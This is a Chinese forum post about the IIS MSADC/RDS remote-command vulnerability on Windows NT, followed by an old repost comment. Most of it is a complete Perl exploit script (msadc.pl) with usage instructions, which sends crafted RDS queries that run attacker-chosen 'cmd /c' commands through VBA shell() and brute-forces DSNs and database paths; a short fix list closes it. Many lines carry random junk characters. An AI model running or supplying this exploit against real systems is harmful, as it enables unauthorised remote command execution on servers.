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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) fC,:{}  
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涉及程序: #txE=e"&o  
Microsoft NT server nD5 gP  
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描述: 3 @ak<9&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 6f')6X'x  
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详细: 8V^oP] Y  
如果你没有时间读详细内容的话,就删除: ={K`4BD  
c:\Program Files\Common Files\System\Msadc\msadcs.dll C{gyj}5  
有关的安全问题就没有了。 x=ul&|^7D  
wr[,  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 X.hm s?]  
QFYWA1<pDh  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 CC#;c1t  
关于利用ODBC远程漏洞的描述,请参看: +qh[N@F  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0 stc9_O  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  GB$;n?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  IiY/(N+J  
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这里不再论述。 (h >-&.`&  
emCM\|NQg&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: \v'p/G)g  
6Yx4lWBR?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset G6T_O  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! -$\+' \  
WZ.@UN,  
"?V0$-DR  
#将下面这段保存为txt文件,然后: "perl -x 文件名" D#3\y*-y?  
28 ?\  
#!perl j'A_'g'^  
# z^'gx@YD*v  
# MSADC/RDS 'usage' (aka exploit) script /Mvf8v  
# _f$^%?^  
# by rain.forest.puppy nih0t^m'  
# 9I}-[|`u  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me wK?vPS  
# beta test and find errors! \O2Rhz  
$<}$DH_Y  
use Socket; use Getopt::Std; IZpP[hov  
getopts("e:vd:h:XR", \%args); XD.)Dl8  
R%?9z 8-  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 3yVMXK  
'<"s \,  
if (!defined $args{h} && !defined $args{R}) { C{U?0!^  
print qq~ KrQ1GepJ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Y$"O VC  
-h <host> = host you want to scan (ip or domain) sS*3=Yh  
-d <seconds> = delay between calls, default 1 second 17%Mw@+  
-X = dump Index Server path table, if available <0Xf9a8>  
-v = verbose |?,A]|j  
-e = external dictionary file for step 5 F(>Np2oi6  
.%xn&3  
Or a -R will resume a command session 9Z4nAc  
4K\G16'$v  
~; exit;} OCe!.`  
JRB9rSN^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; EV]1ml k$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} pFOx>u2`a  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} +S o4rA*9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); h`^jyoF"(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} EJMM9(DQ7  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } os=e|vkB*  
ofm#'7P 0  
if (!defined $args{R}){ $ret = &has_msadc; ~%&LTX0s|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Kp%2k^U  
KcWN,!G  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" O%Xf!4Z  
. "cmd /c "; ;U/&I3dzV  
$in=<STDIN>; chomp $in; OP[  @k  
$command="cmd /c " . $in ; =$'6(aDH  
>mwlsL~X  
if (defined $args{R}) {&load; exit;} &u$Q4  
oB(?_No7  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; N G+GEqx  
&try_btcustmr; oH97=>  
L/$H"YOv  
print "\nStep 2: Trying to make our own DSN..."; <cps2*'  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; p|U?86 t  
<? q?Mn  
print "\nStep 3: Trying known DSNs..."; 5-:?&|JK;  
&known_dsn; @LF,O}[2J  
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print "\nStep 4: Trying known .mdbs..."; &* M!lxDN  
&known_mdb; {'7B6  
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if (defined $args{e}){ f\|w '  
print "\nStep 5: Trying dictionary of DSN names..."; ?1~`*LE  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Ua:}Vn&!  
t% d Z-Ym  
print "Sorry Charley...maybe next time?\n"; P78g /p T  
exit; Ytn9B}%o  
NVkV7y X]  
############################################################################## ~[t[y~Hup  
3#LlDC_WC  
sub sendraw { # ripped and modded from whisker yb<fpM  
sleep($delay); # it's a DoS on the server! At least on mine... uy>q7C  
my ($pstr)=@_; x[ SDl(<@;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4>wP7`/+y  
die("Socket problems\n"); =Qy<GeY  
if(connect(S,pack "SnA4x8",2,80,$target)){ \1k79c  
select(S); $|=1; yuh *  
print $pstr; my @in=<S>; S,88*F(<^q  
select(STDOUT); close(S); N=V==Dbu-  
return @in; /2&c$9=1  
} else { die("Can't connect...\n"); }} M H|Og84  
k R?qb6  
############################################################################## Ki;*u_4{  
^ gdaa>L  
sub make_header { # make the HTTP request 6_(&6]}66  
my $msadc=<<EOT 7y.kQI?3  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 W_JlOc!y  
User-Agent: ACTIVEDATA KYB`D.O   
Host: $ip 2R[:]-b  
Content-Length: $clen +Q/R{#O  
Connection: Keep-Alive Kew@&j~  
bTI|F]^!  
ADCClientVersion:01.06 C"y(5U)d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1y:-N6  
'lH|eU&-  
--!ADM!ROX!YOUR!WORLD! ncaT?~u j  
Content-Type: application/x-varg Lc}LGq!  
Content-Length: $reqlen 4VHn  \  
1a/++4O.|  
EOT 0Fq} N  
; $msadc=~s/\n/\r\n/g; G?yLo 'Ulo  
return $msadc;} @="Pn5<]C  
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############################################################################## aEB_#1  
&w\{TZ{  
sub make_req { # make the RDS request pd?M f=>#  
my ($switch, $p1, $p2)=@_; 59LG{R2  
my $req=""; my $t1, $t2, $query, $dsn; Ao 'l"-  
 -uS!\  
if ($switch==1){ # this is the btcustmr.mdb query IYv`IS"  
$query="Select * from Customers where City=" . make_shell(); 7P } W *  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  8$=n j  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Y_liA  
"MeVE#O  
elsif ($switch==2){ # this is general make table query 0S"mVZ*P  
$query="create table AZZ (B int, C varchar(10))"; t5Sy V:fP  
$dsn="$p1";} Zpt\p7WQ  
@NR>{Eg  
elsif ($switch==3){ # this is general exploit table query hW<%R]^|  
$query="select * from AZZ where C=" . make_shell(); =nHUs1rKn  
$dsn="$p1";} gt) I(  
}{Pp]*I<A  
elsif ($switch==4){ # attempt to hork file info from index server 1er TldX  
$query="select path from scope()"; L;z?a Z7n  
$dsn="Provider=MSIDXS;";} &C_j\7Dq  
}dX*[I   
elsif ($switch==5){ # bad query }RF(CwZr(  
$query="select"; Q0sI(V#  
$dsn="$p1";} )D O?VRI  
8S TvCH"Z_  
$t1= make_unicode($query); #\{l"-  
$t2= make_unicode($dsn); 'ms-*c&  
$req = "\x02\x00\x03\x00"; !)f\%lb  
$req.= "\x08\x00" . pack ("S1", length($t1)); "S[450%  
$req.= "\x00\x00" . $t1 ; 9c bd~mM{  
$req.= "\x08\x00" . pack ("S1", length($t2)); qz_7%c]K[  
$req.= "\x00\x00" . $t2 ; .vf'YNQ%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; u[;\y|75  
return $req;} l:~/<`o  
>Er|Jxy  
############################################################################## ,Zx0%#6  
6_o*y8s.  
sub make_shell { # this makes the shell() statement 3DX*gsx(  
return "'|shell(\"$command\")|'";} mthA4sz  
ktXM|#  
############################################################################## N{!i=A  
P= BZ+6DS  
sub make_unicode { # quick little function to convert to unicode 6Igz:eX  
my ($in)=@_; my $out; 1ba~SHi  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } J[|y:N  
return $out;} lN)C2 2  
nF]W,@u"h  
############################################################################## C[AqFo  
"S]0  
sub rdo_success { # checks for RDO return success (this is kludge) )r?}P1J7  
my (@in) = @_; my $base=content_start(@in); x j)F55e?  
if($in[$base]=~/multipart\/mixed/){ nc29j_Id  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }"H,h)T  
return 0;} Wis~$"  
cl3K<'D  
############################################################################## ub0.J#j@  
Vm(y7}Aq{  
sub make_dsn { # this makes a DSN for us `$IK`O  
my @drives=("c","d","e","f"); ,8uqdk-D  
print "\nMaking DSN: "; Y]_ruDIW  
foreach $drive (@drives) { (8DC}kckE  
print "$drive: "; :S83vE81WK  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . RLXL&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" iuW[`ou X  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `?rSlR@+[I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Xl{P8L  
return 0 if $2 eq "404"; # not found/doesn't exist qr^3R&z!}  
if($2 eq "200") { I_#kgp  
foreach $line (@results) { &{hL&BLr  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Fyx|z'4b  
} return 0;} =o(5_S.u;  
%(#y 5yJ]  
############################################################################## lv<*7BCp  
ek\ xx  
sub verify_exists { n nEgx;Nl0  
my ($page)=@_; R?|.pq/Ln  
my @results=sendraw("GET $page HTTP/1.0\n\n"); TER=*"!  
return $results[0];} Fnv;^}\z  
6<SAa#@ey  
############################################################################## }'V5/>m[  
KP^V>9q  
sub try_btcustmr { @})|Z}~  
my @drives=("c","d","e","f"); .V/Rfq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ZY55|eE  
r'r%w#=`t  
foreach $dir (@dirs) { zkrM/ @p#  
print "$dir -> "; # fun status so you can see progress 6:5I26  
foreach $drive (@drives) { dr}`H,X"3  
print "$drive: "; # ditto O, wJR  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KeB"D!={;  
$reqlenlen=length( "$reqlen" ); z+wA rPxc  
$clen= 206 + $reqlenlen + $reqlen; l"T44CL;  
BwGfTua  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); #e1>H1eU  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} OA1uY83"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Jb@V}Ul$  
%QGC8Tz  
############################################################################## o Q2Fjj  
5"@*?X K^  
sub odbc_error { ^7U G$A  
my (@in)=@_; my $base; y/{fX(aV  
my $base = content_start(@in); i2Qz4 $z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this XGWSdPJLr  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~{g [<Qi  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C*_C;6.~Y  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; gMmaK0uhS  
return $in[$base+4].$in[$base+5].$in[$base+6];} /GN<\_o=q  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ,t?B+$E  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,X-bJA@(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} h$>-.-  
zuad~%D<I  
############################################################################## 6+|do+0Icg  
 :D6 ON"6  
sub verbose { _Xc8Yg }`  
my ($in)=@_; rk2j#>l$4  
return if !$verbose; x(6SG+Kr  
print STDOUT "\n$in\n";} V)HG(k  
wPd3F.<$  
############################################################################## mb TEp*H  
EF[@$j   
sub save { Ys!82M$g  
my ($p1, $p2, $p3, $p4)=@_; vXf!G`D  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @s;;O\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; HZC"nb}r4  
close OUT;} 3 *"WG O5  
]?kZni8j_  
############################################################################## 8B K(4?gC  
P|tO<t6/9*  
sub load { u<tbbKM  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *=/ { HvJ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ooj,/IEQ  
@p=<IN>; close(IN); M#4p E_G  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &tLgG4pd  
$target= inet_aton($ip) || die("inet_aton problems"); (&F}/s gbi  
print "Resuming to $ip ..."; x:NY\._  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |^"1{7)  
if($p[1]==1) { ICx#{q@f,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; MDZ640-Y  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; h6D<go-b56  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ArI2wM/v  
if (rdo_success(@results)){print "Success!\n";} s^G.]%iU  
else { print "failed\n"; verbose(odbc_error(@results));}} 3</_c1~  
elsif ($p[1]==3){ SuJ aL-;  
if(run_query("$p[3]")){ +K:Dx!9  
print "Success!\n";} else { print "failed\n"; }} {0Yf]FQb-a  
elsif ($p[1]==4){ RNEp4x  
if(run_query($drvst . "$p[3]")){ h,u, ^ r  
print "Success!\n"; } else { print "failed\n"; }} UJAv`yjG  
exit;} )Pa'UGY  
Fx_z6a  
############################################################################## H7&8\ FNa  
wtQ++l%{G  
sub create_table { Olt?~}  
my ($in)=@_; qdJ=lhHM}  
$reqlen=length( make_req(2,$in,"") ) - 28; wY{-BuXv  
$reqlenlen=length( "$reqlen" ); TVtvuvQ2K  
$clen= 206 + $reqlenlen + $reqlen; T\6dm/5  
my @results=sendraw(make_header() . make_req(2,$in,"")); O'p9u@kc  
return 1 if rdo_success(@results); ` xEx^P^7  
my $temp= odbc_error(@results); verbose($temp); g#pr yYz  
return 1 if $temp=~/Table 'AZZ' already exists/; ed{ -/l~j  
return 0;}  c(f  
;C9_?u~#  
############################################################################## x*\Y)9Vgy  
#>("CAB02T  
sub known_dsn { Hh3X \  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9IdA%RM~mH  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", e{'BAj  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y4 #>X  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); d=$Mim  
j;+b0(53  
foreach $dSn (@dsns) { @|Cz-J;D  
print "."; h9&0Z +zs  
next if (!is_access("DSN=$dSn")); + /4A  
if(create_table("DSN=$dSn")){ 13$%,q)  
print "$dSn successful\n"; ,B*EVN  
if(run_query("DSN=$dSn")){ &.)^ %Tp\z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { a_^\=&?'  
print "Something's borked. Use verbose next time\n";}}} print "\n";} kr^P6}'  
^KnU4sD  
############################################################################## ,a{P4Bq  
jh?H.;**  
sub is_access { ?8H8O %Z8  
my ($in)=@_; 8?B!2  
$reqlen=length( make_req(5,$in,"") ) - 28; )` SrfGp8  
$reqlenlen=length( "$reqlen" ); ^&9zw\x;z  
$clen= 206 + $reqlenlen + $reqlen; '6nA F  
my @results=sendraw(make_header() . make_req(5,$in,"")); L81ZbNU?$  
my $temp= odbc_error(@results); <6%?OJhp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); P8OaoPj  
return 0;} hIYNhZv  
PV.X z0@R  
############################################################################## nK1Slg#U  
_b pP50Cu  
sub run_query { =g7x' kN  
my ($in)=@_; 9R!atPz9  
$reqlen=length( make_req(3,$in,"") ) - 28; m+`cS=-.  
$reqlenlen=length( "$reqlen" ); rm'SOJVA  
$clen= 206 + $reqlenlen + $reqlen; h ]5(].  
my @results=sendraw(make_header() . make_req(3,$in,"")); (fH#I tf  
return 1 if rdo_success(@results); ^)/0yB  
my $temp= odbc_error(@results); verbose($temp); c8 )DuJ#U  
return 0;} x;O[c3I  
F>Ah0U0  
############################################################################## LRxZcxmy  
B9_ X;c  
sub known_mdb { EgEa1l!NSQ  
my @drives=("c","d","e","f","g"); ?d\N(s9F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); C$=%!wf  
my $dir, $drive, $mdb; Uk[b|<U-`d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Qab>|eSm  
L]|gZ&^  
# this is sparse, because I don't know of many DaQ?\uq  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3GYw+%Z]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *g"Nq+i@  
"\\system32\\certmdb.mdb", G{~J|{t\yz  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Df-DRi  
6D;Sgc5"  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", JJ-( Sl  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Bpo4?nCl}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", .<0ye_S'y  
"\\cfusion\\cfapps\\security\\realm_.mdb", e-/&$Qq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", y%$AhRk*U  
"\\cfusion\\database\\cfexamples.mdb", $?iLLA~  
"\\cfusion\\database\\cfsnippets.mdb", GRIti9GD  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Ys9[5@7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 4HXo>0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", IxN9&xa  
"\\cfusion\\database\\smpolicy.mdb", v |,1[i{  
"\\cfusion\\database\cypress.mdb", hg]]Ok~cAs  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Vi$~-6n&  
"\\website\\cgi-win\\dbsample.mdb", ?/E~/;+7=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", +zN-!5x  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  R Z?jJm$  
); #these are just fSj5ZsO  
foreach $drive (@drives) { [ZwjOi:)  
foreach $dir (@dirs){ PcMD])Z{G  
foreach $mdb (@sysmdbs) { kPG-hD  
print "."; %g$o/A$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ?#G$=4;i  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; i v38p%Zm  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ oG?Xk%7&\  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |kg7LP3(8,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r.&Vw|*>  
m4Qh%}9%  
foreach $drive (@drives) { B)g[3gQ  
foreach $mdb (@mdbs) { .p3,O6y2(F  
print "."; ibk6|pp  
if(create_table($drv . $drive . $dir . $mdb)){ wH&!W~M  
print "\n" . $drive . $dir . $mdb . " successful\n"; .}~_a76  
if(run_query($drv . $drive . $dir . $mdb)){ SoSb+\* @h  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; >_T-u<E  
} else { print "Something's borked. Use verbose next time\n"; }}}} >U27];}y  
} .p" xVfi6  
vV-`jsq20H  
############################################################################## Btn]}8K  
kUrkG80q|  
sub hork_idx { sS'm!7*(3  
print "\nAttempting to dump Index Server tables...\n"; M-Y_ Wb3  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; S3 Xl  
$reqlen=length( make_req(4,"","") ) - 28; [?N~s:}  
$reqlenlen=length( "$reqlen" ); $5%SNzzl  
$clen= 206 + $reqlenlen + $reqlen; e1Hg w[l`  
my @results=sendraw2(make_header() . make_req(4,"","")); Y O}<Ytx  
if (rdo_success(@results)){ 7?w*]  
my $max=@results; my $c; my %d; N2<!}Eyu  
for($c=19; $c<$max; $c++){ +Q"4Migbe@  
$results[$c]=~s/\x00//g; 5MJS ~(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *_\_'@1|J)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^9:Z7 >Z  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; v O_*yh1  
$d{"$1$2"}="";} Uz]|N6`  
foreach $c (keys %d){ print "$c\n"; } #QMz<P/Gl6  
} else {print "Index server doesn't seem to be installed.\n"; }} $6SW;d+>n  
/IMFO:c  
############################################################################## U # qK.  
9djk[ttA)  
sub dsn_dict { ZPYS$Ydy  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [d ]9Oa4  
while(<IN>){ TIg3` Fon  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {R{=+2K!|k  
next if (!is_access("DSN=$dSn")); a(ZcmYzXU  
if(create_table("DSN=$dSn")){ 6Q5^>\Y  
print "$dSn successful\n"; lq7E 4r  
if(run_query("DSN=$dSn")){ vtJJ#8a]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P16~Qj  
print "Something's borked. Use verbose next time\n";}}} SSzIih@u  
print "\n"; close(IN);} 0JujesUw(  
%iqD5x$OA  
############################################################################## S$-7SEkO+  
K3l95he  
sub sendraw2 { # ripped and modded from whisker 8zq=N#x  
sleep($delay); # it's a DoS on the server! At least on mine... hOK8(U0  
my ($pstr)=@_; 4s oJ.j8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || G=bCNn<  
die("Socket problems\n"); ?+8\.a!  
if(connect(S,pack "SnA4x8",2,80,$target)){ [mueZQyI?0  
print "Connected. Getting data"; z\4.Gm-  
open(OUT,">raw.out"); my @in; 7 _[L o4_  
select(S); $|=1; print $pstr; f* wx<  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Yx`n:0  
close(OUT); select(STDOUT); close(S); return @in;  4Wp=y  
} else { die("Can't connect...\n"); }} 5#z1bu  
RPbZ(.  
############################################################################## AQ^u   
0<*<$U  
sub content_start { # this will take in the server headers qZZK#,Qb  
my (@in)=@_; my $c; tpx2 IE  
for ($c=1;$c<500;$c++) { |k9 C/  
if($in[$c] =~/^\x0d\x0a/){ NwfVL4Xg  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1{.9uw"2S  
else { return $c+1; }}} DVeE1Q  
return -1;} # it should never get here actually ksm~<;td  
iU:cW=W|M\  
############################################################################## yWf`rF{  
V28M lP  
sub funky { l%=;  
my (@in)=@_; my $error=odbc_error(@in); 7-V/RChBm  
if($error=~/ADO could not find the specified provider/){ l}P=/#</T  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; tT._VK]o&R  
exit;} /zox$p$?h  
if($error=~/A Handler is required/){ @'|~v <<WZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,/U6[P_C5  
exit;} Ws12b $  
if($error=~/specified Handler has denied Access/){ _(zG?]y0P  
print "\nServer has custom handler filters (they most likely are patched)\n"; $Y gue5{c  
exit;}} DW3G  
-ze J#B)C  
############################################################################## CNx8] _2  
23jwAsSo  
sub has_msadc { $Z>'Jp  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); MfkN]\Jyw  
my $base=content_start(@results); 8l">cVo]T  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); J,6yYIq  
return 0;} T6kdS]4-  
@KUWxFak  
######################## nT)vNWT=  
Z #m+ObHK1  
-%4,@ x`  
解决方案: .tr!(O],h  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~bpgSP"  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2I{"XB  
0C ,`h `  
拿出来充数 哈哈
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